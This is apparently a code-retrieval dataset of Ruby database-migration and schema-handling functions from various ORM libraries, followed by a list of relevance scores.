"def migration_update_table\n added, removed, changed, prev_fields = field_changes\n\n if table_comments\n new_table_comment = table_comment_changes\n new_fields_comments = fields_comments_changes\n end\n\n unless added.present? || removed.present? || changed.present? ||\n new_table_comment || new_fields_comments.present? || table_name_changed || no_master_association_changed\n return\n end\n\n new_fields_comments ||= {}\n\n <<~ARCONTENT\n self.no_master_association = #{!!no_master_association}\n #{table_name_changed ? \" self.prev_table_name = '#{prev_table_name}'\" : ''}\n #{table_name_changed ? ' update_table_name' : ''}\n #{table_name_changed ? '' : \" self.prev_fields = %i[#{prev_fields.join(' ')}]\"}\n \\# added: #{added}\n \\# removed: #{removed}\n \\# changed type: #{changed}\n #{new_table_comment ? \" \\# new table comment: #{new_table_comment.gsub(\"\\n\", '\\n')}\" : ''}\n #{new_fields_comments.present? ? \" \\# new fields comments: #{new_fields_comments.keys}\" : ''}\n update_fields\n ARCONTENT\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :rename_column\n unless sch = op[:schema]\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n end\n [\n alter_table_sql(table, :op=>:add_column, :name=>op[:new_name], :default=>sch[:ruby_default], :type=>sch[:db_type], :null=>sch[:allow_null]),\n from(table).update_sql(op[:new_name]=>op[:name]),\n alter_table_sql(table, :op=>:drop_column, :name=>op[:name])\n ]\n when :set_column_null, :set_column_default\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n\n sch = if op[:op] == :set_column_null\n sch.merge(:allow_null=>op[:null])\n else\n sch.merge(:ruby_default=>op[:default])\n end\n\n [\n alter_table_sql(table, :op=>:rename_column, :name=>op[:name], :new_name=>:sequel_access_backup_column, :schema=>sch),\n alter_table_sql(table, :op=>:rename_column, :new_name=>op[:name], :name=>:sequel_access_backup_column, :schema=>sch)\n ]\n else\n super\n end\n end",
"def undo_cleanup_concurrent_column_rename(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, new_column, old_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def rename_column_concurrently(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, old_column, new_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def up\n # Use self.class:: so constants are resolved in subclasses instead of this class.\n self.class::COLUMNS.each do |column|\n change_column_null(self.class::TABLE_NAME, column, false)\n end\n end",
"def migrate\n DataMapper.auto_migrate!\n end",
"def standard_columns\n pset = %w[id created_at updated_at contactid user_id\n extra_log_type admin_id]\n\n # Only add in the master_id if the master is a foreign key, not a standard integer field\n # so that we treat the field correctly in comparisons of new - old\n pset << 'master_id' if master_fk?\n\n pset += [\"#{table_name.singularize}_table_id\", \"#{table_name.singularize}_id\"]\n pset\n end",
"def real_column; end",
"def prefix_for_tables\n migration_version = ActiveRecord::Migrator.current_version\n end",
"def columns_default\n super + ['version']\n end",
"def migration_keys\n [:name, :limit, :precision, :unsigned, :scale, :default, :null]\n end",
"def generate_migrations\n versions = []\n versions << generate_migration(\"create_users\", <<-EOF\nHanami::Model.migration do\n change do\n create_table :users do\n primary_key :id\n column :name, String\n end\n end\nend\nEOF\n)\n\n versions << generate_migration(\"add_age_to_users\", <<-EOF\nHanami::Model.migration do\n change do\n add_column :users, :age, Integer\n end\nend\nEOF\n)\n versions\n end",
"def update_schema\n create_table unless table_exists?\n (schema_columns - column_names).each { |column| ActiveRecord::Migration.add_column(table_name, column, :string) }\n (column_names - protected_columns - schema_columns).each { |column| ActiveRecord::Migration.remove_column(table_name, column) }\n end",
"def recreate_column(name, schema, gen, options)\n if options[:single_pk] && schema_autoincrementing_primary_key?(schema)\n type_hash = options[:same_db] ? {:type=>schema[:db_type]} : column_schema_to_ruby_type(schema)\n [:table, :key, :on_delete, :on_update, :deferrable].each{|f| type_hash[f] = schema[f] if schema[f]}\n if type_hash == {:type=>Integer} || type_hash == {:type=>\"integer\"} || type_hash == {:type=>\"INTEGER\"}\n type_hash.delete(:type)\n elsif options[:same_db] && type_hash == {:type=>type_literal_generic_bignum_symbol(type_hash).to_s}\n type_hash[:type] = :Bignum\n end\n\n unless gen.columns.empty?\n type_hash[:keep_order] = true\n end\n\n if type_hash.empty?\n gen.primary_key(name)\n else\n gen.primary_key(name, type_hash)\n end\n else\n col_opts = if options[:same_db]\n h = {:type=>schema[:db_type]}\n if database_type == :mysql && h[:type] =~ /\\Atimestamp/\n h[:null] = true\n end\n if database_type == :mssql && schema[:max_length]\n h[:size] = schema[:max_length]\n end\n h\n else\n column_schema_to_ruby_type(schema)\n end\n type = col_opts.delete(:type)\n if col_opts.key?(:size) && col_opts[:size].nil?\n col_opts.delete(:size)\n if max_length = schema[:max_length]\n col_opts[:size] = max_length\n end\n end\n if schema[:generated]\n if options[:same_db] && database_type == :postgres\n col_opts[:generated_always_as] = column_schema_to_ruby_default_fallback(schema[:default], options)\n end\n else\n col_opts[:default] = if schema[:ruby_default].nil?\n column_schema_to_ruby_default_fallback(schema[:default], options)\n else\n schema[:ruby_default]\n end\n col_opts.delete(:default) if col_opts[:default].nil?\n end\n col_opts[:null] = false if schema[:allow_null] == false\n if table = schema[:table]\n [:key, :on_delete, :on_update, :deferrable].each{|f| col_opts[f] = schema[f] if schema[f]}\n col_opts[:type] = type unless type == Integer || type == 'integer' || type == 'INTEGER'\n gen.foreign_key(name, table, col_opts)\n else\n gen.column(name, type, col_opts)\n if [Integer, :Bignum, Float, BigDecimal].include?(type) && schema[:db_type] =~ / unsigned\\z/io\n gen.check(Sequel::SQL::Identifier.new(name) >= 0)\n end\n end\n end\n end",
"def functional_update_schema # abstract\n raise 'abstract'\n end",
"def setup_columns\n if inheritable?\n SimpleSet.new([primary_key, inheritance_column])\n else\n primary_key.blank? ? SimpleSet.new : SimpleSet.new([primary_key])\n end \n end",
"def clone_versioned_model(orig_model, new_model)\n self.class.versioned_columns.each do |col|\n new_model[col.name] = orig_model.send(col.name) if orig_model.has_attribute?(col.name)\n end\n\n clone_inheritance_column(orig_model, new_model)\n end",
"def export_columns\n self.entity_columns.select(\"name, description, ref_type, ref_name, col_type\").where(\"list_rank > 0 and name not in ('domain_id', 'creator_id', 'updater_id', 'created_at', 'updated_at')\").order(\"list_rank asc\")\n end",
"def migrate version = nil\n if @migrations\n schema = meta_schema\n version = __check_migration_version(version)\n __create_meta_data_table_for(schema)\n\n s = schema.first || schema.new(version: 0)\n unless s.version == version\n @migrations.sort_by { |migration| migration.version }.each do |m|\n m.migrate(:up) if s.version < m.version and m.version <= version\n\n if s.version >= m.version and m.version > version\n m.migrate(:down)\n else # Handle migrate(0)\n m.migrate(:down) if s.version >= m.version and version.zero?\n end\n end\n s.update_attribute :version, version\n end\n version = s.version\n end\n version\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n if is_table\n if isr = injected_surrogate_role\n ref_from = references_from.detect{|ref| ref.from_role == isr}\n [ActiveFacts::RMap::Column.new(ref_from)]\n else\n [ActiveFacts::RMap::Column.new(self_value_reference)]\n end\n else\n [ActiveFacts::RMap::Column.new]\n end\n end\n end",
"def columns\n super + [:extra_column]\n end",
"def columns_default\n super + ['creators','projects','version']\n end",
"def apply_alter_table_generator(name, generator)\n ops = generator.operations\n\n unless can_add_primary_key_constraint_on_nullable_columns?\n if add_pk = ops.find{|op| op[:op] == :add_constraint && op[:type] == :primary_key}\n ops = add_pk[:columns].map{|column| {:op => :set_column_null, :name => column, :null => false}} + ops\n end\n end\n\n apply_alter_table(name, ops)\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :drop_column\n \"ALTER TABLE #{quote_schema_table(table)} DROP #{column_definition_sql(op)}\"\n when :rename_column\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TO #{quote_identifier(op[:new_name])}\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TYPE #{type_literal(op)}\"\n else\n super(table, op)\n end\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :rename_column\n \"SP_RENAME #{literal(\"#{quote_schema_table(table)}.#{quote_identifier(op[:name])}\")}, #{literal(op[:new_name].to_s)}, 'COLUMN'\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(op)}\"\n when :set_column_null\n sch = schema(table).find{|k,v| k.to_s == op[:name].to_s}.last\n type = {:type=>sch[:db_type]}\n type[:size] = sch[:max_chars] if sch[:max_chars]\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(type)} #{'NOT ' unless op[:null]}NULL\"\n when :set_column_default\n \"ALTER TABLE #{quote_schema_table(table)} ADD CONSTRAINT #{quote_identifier(\"sequel_#{table}_#{op[:name]}_def\")} DEFAULT #{literal(op[:default])} FOR #{quote_identifier(op[:name])}\"\n else\n super(table, op)\n end\n end",
"def read_new_schema\n AssociatedRecord.reset_column_information\n DeeplyAssociatedRecord.reset_column_information\n\n AssociatedRecord.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n Item.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n end",
"def create_tables!\n migrate(:up)\n end",
"def migration_set_attribs\n tcs = table_comments || {}\n\n if view_sql&.strip&.present?\n view_sql_text = <<~VSTEXT\n self.view_sql = <<~VIEWSQL\n #{view_sql}\n VIEWSQL\n VSTEXT\n end\n\n <<~SETATTRIBS\n self.schema = '#{db_migration_schema}'\n self.table_name = '#{table_name}'\n self.class_name = '#{class_name}'\n self.fields = %i[#{migration_fields_array.join(' ')}]\n self.table_comment = '#{tcs[:table]}'\n self.fields_comments = #{(tcs[:fields] || {}).to_h}\n self.db_configs = #{(db_configs || {}).to_h}\n self.no_master_association = #{!!no_master_association}\n self.resource_type = :#{resource_type}\n self.all_referenced_tables = #{(all_referenced_tables || []).to_a}\n #{view_sql_text}\n SETATTRIBS\n end",
"def create_entity_columns\n entity = self.name.constantize\n entity.reset_column_information\n \n entity.columns.each_with_index do |column, i|\n f = self.entity_columns.detect{ |col| col.name == column.name }\n unless f\n f = self.entity_columns.build(:name => column.name)\n association = entity.reflect_on_all_associations(:belongs_to).detect{|a| a.options[:foreign_key] == column.name }\n association ||= entity.reflect_on_association column.name.sub(/_id$/, '').to_sym if column.name.ends_with? '_id'\n if association\n f.ref_type = :Entity.to_s\n f.ref_name = association.options[:polymorphic] ? 'POLYMORPHIC' : association.class_name\n end\n end\n \n f.term = \"label.#{column.name}\" unless f.term\n f.col_type = column.type.to_s\n f.col_size = column.limit if(column.respond_to?(:limit))\n f.nullable = column.null\n f.def_val = (column.default == nil) ? nil : column.default.to_s\n f.disp_rank = i * 10\n f.save!\n end\n\n uniq_index_def = ActiveRecord::Base.connection.indexes(entity.table_name).find { |index_def| index_def.unique == true }\n \n # unique ranks by getting unique index\n if(uniq_index_def)\n uniq_seq = 1\n uniq_index_def.columns.each do |uniq_col_name|\n column = self.entity_columns.where(\"name = ?\", uniq_col_name).first\n if(column)\n column.uniq_rank = uniq_seq * 10\n column.save!\n uniq_seq += 1\n end\n end\n end\n \n return self.entity_columns\n end",
"def orm_patches_applied; end",
"def columns(table_name, name = nil) end",
"def canonical_fields(table_def)\n table_def.fields.inject([]) do |fields, f|\n fields << SpreeMigrateDB::FieldDef.new(canonical_table_name(f.table), f.column, f.type, f.options)\n end\n end",
"def ignored_translation_table_colums(klass); end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def migrated_down(migration)\n column_family.delete({\n where: {\n version: migration.version.to_s,\n name: migration.name,\n },\n })\n end",
"def alter_table_sql(table, op)\n\t if op[:op] == :add_column\n subclause = \"ADD #{column_definition_sql(op)}\"\n else\n quoted_name = quote_identifier(op[:name]) if op[:name]\n case op[:op]\n when :set_column_type\n subclause = \"MODIFY #{quoted_name} #{type_literal(op)}\"\n when :set_column_default\n subclause = \"MODIFY #{quoted_name} DEFAULT #{literal(op[:default])}\"\n when :set_column_null\n subclause = \"MODIFY #{quoted_name} #{op[:null] ? 'NULL' : 'NOT NULL'}\"\n when :modify_constraint\n subclause = \"MODIFY #{constraint_definition_sql(op)}\"\n else\n\t return super(table, op)\n end\n end\n \"ALTER TABLE #{quote_schema_table(table)} #{subclause}\"\n\t end",
"def career_migration_data\n<<RUBY\nt.string :title\n t.string :position\n t.string :location\n t.text :description\n t.text :questions\n t.boolean :status,default: true\n\nRUBY\n end",
"def initialize_schema_migrations_table_with_plugins\n sm_table = Goldberg::Migrator.schema_migrations_table_name\n \n unless tables.detect { |t| t == sm_table }\n create_table(sm_table, :id => false) do |schema_migrations_table|\n schema_migrations_table.column :plugin_name, :string, :null => false\n schema_migrations_table.column :version, :string, :null => false\n end\n add_index sm_table, [:plugin_name, :version], :unique => true,\n :name => 'unique_schema_migrations'\n \n # Backwards-compatibility: if we find schema_info, assume we've\n # migrated up to that point:\n si_table = ActiveRecord::Base.table_name_prefix + 'plugin_schema_info' +\n ActiveRecord::Base.table_name_suffix\n if tables.detect { |t| t == si_table }\n old_version = select_value(\"SELECT version FROM #{quote_table_name(si_table)} WHERE plugin_name=#{Goldberg::Migrator.plugin}\").to_i\n assume_migrated_upto_version(old_version)\n drop_table(si_table)\n end\n end\n end",
"def column_definitions(table_name)\n fields = query(<<~SQL, \"SCHEMA\")\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n c.collname, NULL AS comment,\n #{supports_virtual_columns? ? 'attgenerated' : quote('')} as attgenerated,\n NULL as is_hidden\n FROM pg_attribute a\n LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n LEFT JOIN pg_type t ON a.atttypid = t.oid\n LEFT JOIN pg_collation c ON a.attcollation = c.oid AND a.attcollation <> t.typcollation\n WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n SQL\n\n crdb_fields = crdb_column_definitions(table_name)\n\n # Use regex comparison because if a type is an array it will\n # have [] appended to the end of it.\n target_types = [\n /geometry/,\n /geography/,\n /interval/,\n /numeric/\n ]\n\n re = Regexp.union(target_types)\n fields.map do |field|\n dtype = field[1]\n field[1] = crdb_fields[field[0]][2].downcase if re.match(dtype)\n field[7] = crdb_fields[field[0]][1]&.gsub!(/^\\'|\\'?$/, '')\n field[9] = true if crdb_fields[field[0]][3]\n field\n end\n fields.delete_if do |field|\n # Don't include rowid column if it is hidden and the primary key\n # is not defined (meaning CRDB implicitly created it).\n if field[0] == CockroachDBAdapter::DEFAULT_PRIMARY_KEY\n field[9] && !primary_key(table_name)\n else\n false # Keep this entry.\n end\n end\n end",
"def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end",
"def create_versioned_table(create_table_options = {})\n # create version column in main table if it does not exist\n if !self.content_columns.find { |c| [version_column.to_s, 'lock_version'].include? c.name }\n self.connection.add_column table_name, version_column, :integer\n self.reset_column_information\n end\n\n return if connection.table_exists?(versioned_table_name)\n\n self.connection.create_table(versioned_table_name, create_table_options) do |t|\n t.column versioned_foreign_key, :integer\n t.column version_column, :integer\n end\n\n self.versioned_columns.each do |col|\n self.connection.add_column versioned_table_name, col.name, col.type,\n :limit => col.limit,\n :default => col.default,\n :scale => col.scale,\n :precision => col.precision\n end\n\n if type_col = self.columns_hash[inheritance_column]\n self.connection.add_column versioned_table_name, versioned_inheritance_column, type_col.type,\n :limit => type_col.limit,\n :default => type_col.default,\n :scale => type_col.scale,\n :precision => type_col.precision\n end\n\n self.connection.add_index versioned_table_name, versioned_foreign_key\n end",
"def change_table_with_versions(*args, &block)\n SchemaStatements.apply_versionable_option!(:change_table, self, *args, &block)\n end",
"def rename_columns(table_name, columns_old_new_create)\n temporary_table_name = \"#{table_name}_temp\"\n\n DataMapper::Transaction.new(adapter).commit do\n adapter.execute(\n \"ALTER TABLE #{quote table_name} \"\\\n \"RENAME TO #{quote temporary_table_name}\"\n )\n\n create_table table_name do\n columns_old_new_create.each do |_old, new, *options|\n column new, *options\n end\n end\n\n columns_old = columns_old_new_create.map { |c| quote c[0] }\n columns_new = columns_old_new_create.map { |c| quote c[1] }\n\n adapter.execute(\n \"INSERT INTO #{quote table_name}\" +\n \"(#{columns_new.join(',')}) \" +\n \"SELECT #{columns_old.join(',')} \" +\n \"FROM #{quote temporary_table_name}\")\n\n drop_table temporary_table_name\n end\n end",
"def table_name; \"gdo_module\"; end",
"def alter_table_generator_class\n Schema::AlterTableGenerator\n end",
"def rebuild(table); end",
"def table_name\n \"#{table_name_prefix}data_migrations#{table_name_suffix}\"\n end",
"def extend_sql_avoiding_table_naming_clashes!(sql, addition)\r\n used_table_aliases = table_aliases_from_join_fragment(addition)\r\n old_table_aliases = table_aliases_from_join_fragment(sql)\r\n (used_table_aliases & old_table_aliases).each do |join_table_alias|\r\n i = 0\r\n begin\r\n i += 1\r\n new_alias = \"renamed_join_table_#{i}\"\r\n end until !used_table_aliases.include?(new_alias)\r\n convert_table_name_to_new_alias!(sql, join_table_alias, new_alias)\r\n end\r\n sql << \" #{addition} \"\r\n end",
"def vendor_table\n update unless @vendor_table\n @vendor_table\n end",
"def migrate\n run_migrations pending_migrations, :up\n end",
"def field_changes\n table_name = if table_name_changed\n prev_table_name\n else\n self.table_name\n end\n\n begin\n cols = table_columns\n old_colnames = cols.map(&:name) - standard_columns\n old_colnames = old_colnames.reject { |f| f.index(/^embedded_report_|^placeholder_/) }\n rescue StandardError\n return\n end\n\n fields = migration_fields_array\n new_colnames = fields.map(&:to_s) - standard_columns\n\n added = new_colnames - old_colnames\n removed = old_colnames - new_colnames\n changed = {}\n db_configs.each do |k, v|\n current_type = cols.find { |c| c.name == k.to_s }&.type\n next unless v[:type] && current_type\n\n expected_type = v[:type]&.to_sym\n current_type = :timestamp if current_type == :datetime\n changed[k.to_s] = expected_type if current_type != expected_type\n end\n\n if belongs_to_model\n belongs_to_model_id = \"#{belongs_to_model}_id\"\n removed -= [belongs_to_model_id]\n end\n\n [added, removed, changed, old_colnames]\n end",
"def setup_db\n ActiveRecord::Schema.define(:version => 1) do\n create_table :users do |t|\n t.string :email, :limit => 255\n t.string :crypted_password, :limit => 255\n \n t.timestamps\n end\n end\n \n ActiveRecord::Schema.define(:version => 1) do\n create_table :labels do |t|\n t.string :type, :limit => 255\n t.string :system_label, :limit => 255\n t.string :label, :limit => 255\n \n t.timestamps\n end\n end\nend",
"def test_change_column_null\n testing_table_with_only_foo_attribute do\n notnull_migration = Class.new(ActiveRecord::Migration::Current) do\n def change\n change_column_null :testings, :foo, false\n end\n end\n notnull_migration.new.suppress_messages do\n notnull_migration.migrate(:up)\n assert_equal false, connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n notnull_migration.migrate(:down)\n assert connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n end\n end\n end",
"def column_definitions(table_name) #:nodoc:\n pieces = table_name.split('.')\n \n if pieces.length == 1\n schema_name = 'public'\n table_name = pieces.last\n else\n schema_name, table_name = pieces.first, pieces.last\n end\n \n query <<-end_sql\n SELECT column_name, data_type, column_default, is_nullable\n FROM v_catalog.columns\n WHERE table_schema = '#{schema_name.gsub(/(^\"|\"$)/,'')}'\n AND table_name = '#{table_name.gsub(/(^\"|\"$)/,'')}'\n end_sql\n end",
"def new_table_name=(name)\n @new_table_name = \"layer_table_#{name}\"\n end",
"def alter_table(name, *)\n super\n remove_cached_schema(name)\n nil\n end",
"def revise_table\n name = @table_extension.name\n @table_extension.extended.each do |method_name|\n define_extension_setter(name, method_name)\n define_extension_getter(name, method_name)\n define_extension_dirty(name, method_name)\n end\n @table_extension.mirrored.each do |method_name|\n define_extension_mirror_setter(name, method_name)\n end\n true\n end",
"def generate!\n table_attributes = resource.table_attributes\n model_attributes = resource.model_attributes\n\n table_keys = table_attributes.keys\n model_keys = model_attributes.keys\n\n # Create table\n if table_keys.blank?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: create table\"\n return rails_migrate(\"create_#{resource.plural_name}\", model_attributes)\n end\n\n # Fields are not in database, but present in model.rb\n if(add_keys = (model_keys - table_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: add #{add_keys.to_sentence}\"\n rails_migrate(\"add_ATTRIBUTES_to_#{resource.plural_name}\", model_attributes.slice(*add_keys))\n end\n\n # Fields are in database, but no longer in our effective_resource do block\n if (remove_keys = (table_keys - model_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: remove #{remove_keys.to_sentence}\"\n rails_migrate(\"remove_ATTRIBUTES_from_#{resource.plural_name}\", table_attributes.slice(*remove_keys))\n end\n end",
"def table\n Identity\n end",
"def table\n Identity\n end",
"def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_searches.rb\"\n better_migration_template \"create_bookmarks.rb\"\n better_migration_template \"remove_editable_fields_from_bookmarks.rb\"\n better_migration_template \"add_user_types_to_bookmarks_searches.rb\"\n end",
"def up\n change_column(:my_table, :my_columnn, :new_type)\nend",
"def alter(field)\n sql = build_sql(field)\n execute(sql)\nend",
"def migrate!\n Migrator.migrate(name)\n end",
"def migrate!\n Migrator.migrate(name)\n end",
"def columns\n Proc.new do\n <<-SQL\n id integer primary key autoincrement,\n sample_id integer, --foreign key to reference the original revision\n \n --these are all true contemporaneous of the edit, post or pre-edit may be different\n account_creation timestamp(20), --this should be the entry in the logevents call, but if we exceed the max number of requests, we won't get it\n account_lifetime integer, --this is the lifetime of the account in seconds\n edits_last_second integer, --want a figure to show recent activity do buckets instead\n edits_last_minute integer,\n edits_last_hour integer,\n edits_last_day integer,\n edits_last_week integer,\n edits_last_month integer,\n edits_last_year integer,\n total_edits integer,\n --rights_grant_count \n --rights_removal_count\n --groups string,\n FOREIGN KEY(sample_id) REFERENCES irc_wikimedia_org_en_wikipedia(id) --these foreign keys probably won't be enforced b/c sqlite doesn't include it by default--TODO this foreign table name probably shouldn't be hard coded\nSQL\n end\n end",
"def migrate(version = nil)\n ActiveRecord::ConnectionAdapters::SchemaStatements.class_eval do\n include Goldberg::SchemaStatements\n end\n\n version && (version = version.to_i)\n super(\"#{RAILS_ROOT}/vendor/plugins/#{plugin_name}/db/migrate\", version)\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def proxy_columns(columns)\n columns.each do |column|\n if (type = column_type(column.type)).present?\n # When setting the default value, note that +main_instance+ might be nil, so we have to use +try+\n attribute column.name, type, default: proc { |f| f.main_instance.try(column.name) }\n end\n end\n end",
"def migrations\n raise(ArgumentError, \"Can't set migrations while using :version option\") if @using_deprecated_version_setting\n yield\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n\n if absorbed_via and\n # If this is not a subtype, or is a subtype that has its own identification, use the id.\n (all_type_inheritance_as_subtype.size == 0 ||\n all_type_inheritance_as_subtype.detect{|ti| ti.provides_identification })\n rc = absorbed_via.from.reference_columns(excluded_supertypes)\n # The absorbed_via reference gets skipped here, and also in object_type.rb\n trace :columns, \"Skipping #{absorbed_via}\"\n absorbed_mirror ||= absorbed_via.reversed\n rc.each{|col| col.prepend(absorbed_mirror)}\n return rc\n end\n\n # REVISIT: Should have built preferred_identifier_references\n preferred_identifier.role_sequence.all_role_ref.map do |role_ref|\n # REVISIT: Should index references by to_role:\n ref = references_from.detect {|ref| ref.to_role == role_ref.role}\n\n raise \"reference for role #{role_ref.describe} not found on #{name} in #{references_from.size} references:\\n\\t#{references_from.map(&:to_s)*\"\\n\\t\"}\" unless ref\n\n ref.columns({})\n end.flatten\n end\n end",
"def auto_migrate!\n DataMapper.auto_migrate!(name)\n end",
"def right_table; table_sync.right_table; end",
"def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end",
"def columns(table_name, *rest)\n @table.fields.map {|s| ::ActiveRecord::ConnectionAdapters::Column.new(s.to_s, nil, String)}\n end",
"def migration_railties; end",
"def migration_railties; end",
"def migrations\n rake 'admin:install:migrations'\n rake 'db:migrate SCOPE=admin'\n end",
"def column_definitions(table_name)\r\n query <<-end_sql\r\n SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, c.consrc\r\n FROM pg_attribute a LEFT JOIN pg_attrdef d\r\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\r\n LEFT JOIN pg_constraint c ON a.attrelid = c.conrelid AND \r\n c.contype = 'c' AND c.conkey[1] = a.attnum\r\n WHERE a.attrelid = '#{table_name}'::regclass\r\n AND a.attnum > 0 AND NOT a.attisdropped\r\n ORDER BY a.attnum\r\n end_sql\r\n end",
"def create_side_table\n RailsRedshiftReplicator.connection.exec \"CREATE TABLE #{temporary_table_name} (LIKE #{replication.target_table})\"\n end",
"def save_columns!\n # NetzkeFieldList.update_list_for_current_authority(global_id, columns(false), original_data_class.name) if persistent_config_enabled?\n end",
"def requires_table_name_for_update\n true\n end",
"def up\n create_table TABLE_NAME do |t|\n #\n # Single Table Inheritance (STI)\n #\n\n t.string :type\n\n #\n # Columns\n #\n\n t.datetime :real_path_modified_at, null: false\n t.string :real_path_sha1_hex_digest, limit: 40, null: false\n t.text :relative_path, null: false\n\n #\n # References\n #\n\n t.references :parent_path, null: false\n end\n\n change_table TABLE_NAME do |t|\n #\n # Foreign Key Indices\n #\n\n t.index :parent_path_id\n\n #\n # Unique Indices\n #\n\n t.index :real_path_sha1_hex_digest, unique: true\n # relative_path is unique because all parent_paths must be able to be unified.\n t.index :relative_path, unique: true\n end\n end",
"def db_column_func(&block)\n new_structure = self.class.db_structure\n\n yield(new_structure)\n self.class.update_db(new_structure)\n new_structure\n end",
"def rebuild_model options = {}\n ActiveRecord::Base.connection.create_table :dummies, :force => true do |table|\n table.string :in_the_clear\n table.binary :secret\n table.binary :secret_key\n table.binary :secret_iv\n table.binary :segreto\n end\n rebuild_class options\nend",
"def on_table?; @on_table; end",
"def default_columns\n#\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t\tsubject_type vital_status sex dob \n\t\t\tfirst_name last_name)\n\tend",
"def columns(table_name, name = nil) #:nodoc:\r\n table_structure(table_name).map do |field|\r\n AdvantageColumn.new(strip_or_self(field['COLUMN_NAME']), field['COLUMN_DEF'], strip_or_self(field['TYPE_NAME']), field['NULLABLE'])\r\n end\r\n end",
"def schema_meta_structure\n CreateVersionsTableQuery.new.to_cql\n end"
] |
[
"0.65882033",
"0.6573994",
"0.654096",
"0.6381884",
"0.6279847",
"0.6212607",
"0.6081981",
"0.60590905",
"0.6054544",
"0.59881574",
"0.5984498",
"0.5936947",
"0.5904286",
"0.59028167",
"0.588025",
"0.581781",
"0.58148825",
"0.5789818",
"0.5754122",
"0.5752626",
"0.57406616",
"0.5694796",
"0.5685698",
"0.5674052",
"0.56728417",
"0.56514955",
"0.5647685",
"0.5647685",
"0.5647685",
"0.5610021",
"0.5597652",
"0.5590452",
"0.557949",
"0.5575342",
"0.5557809",
"0.555767",
"0.554926",
"0.5538612",
"0.5533854",
"0.55308026",
"0.55132324",
"0.55074495",
"0.55057496",
"0.55019325",
"0.55019325",
"0.55016124",
"0.54973394",
"0.5488176",
"0.54641175",
"0.5461041",
"0.5459965",
"0.5453477",
"0.5453263",
"0.5447856",
"0.5443815",
"0.5436712",
"0.54354614",
"0.54313016",
"0.5431236",
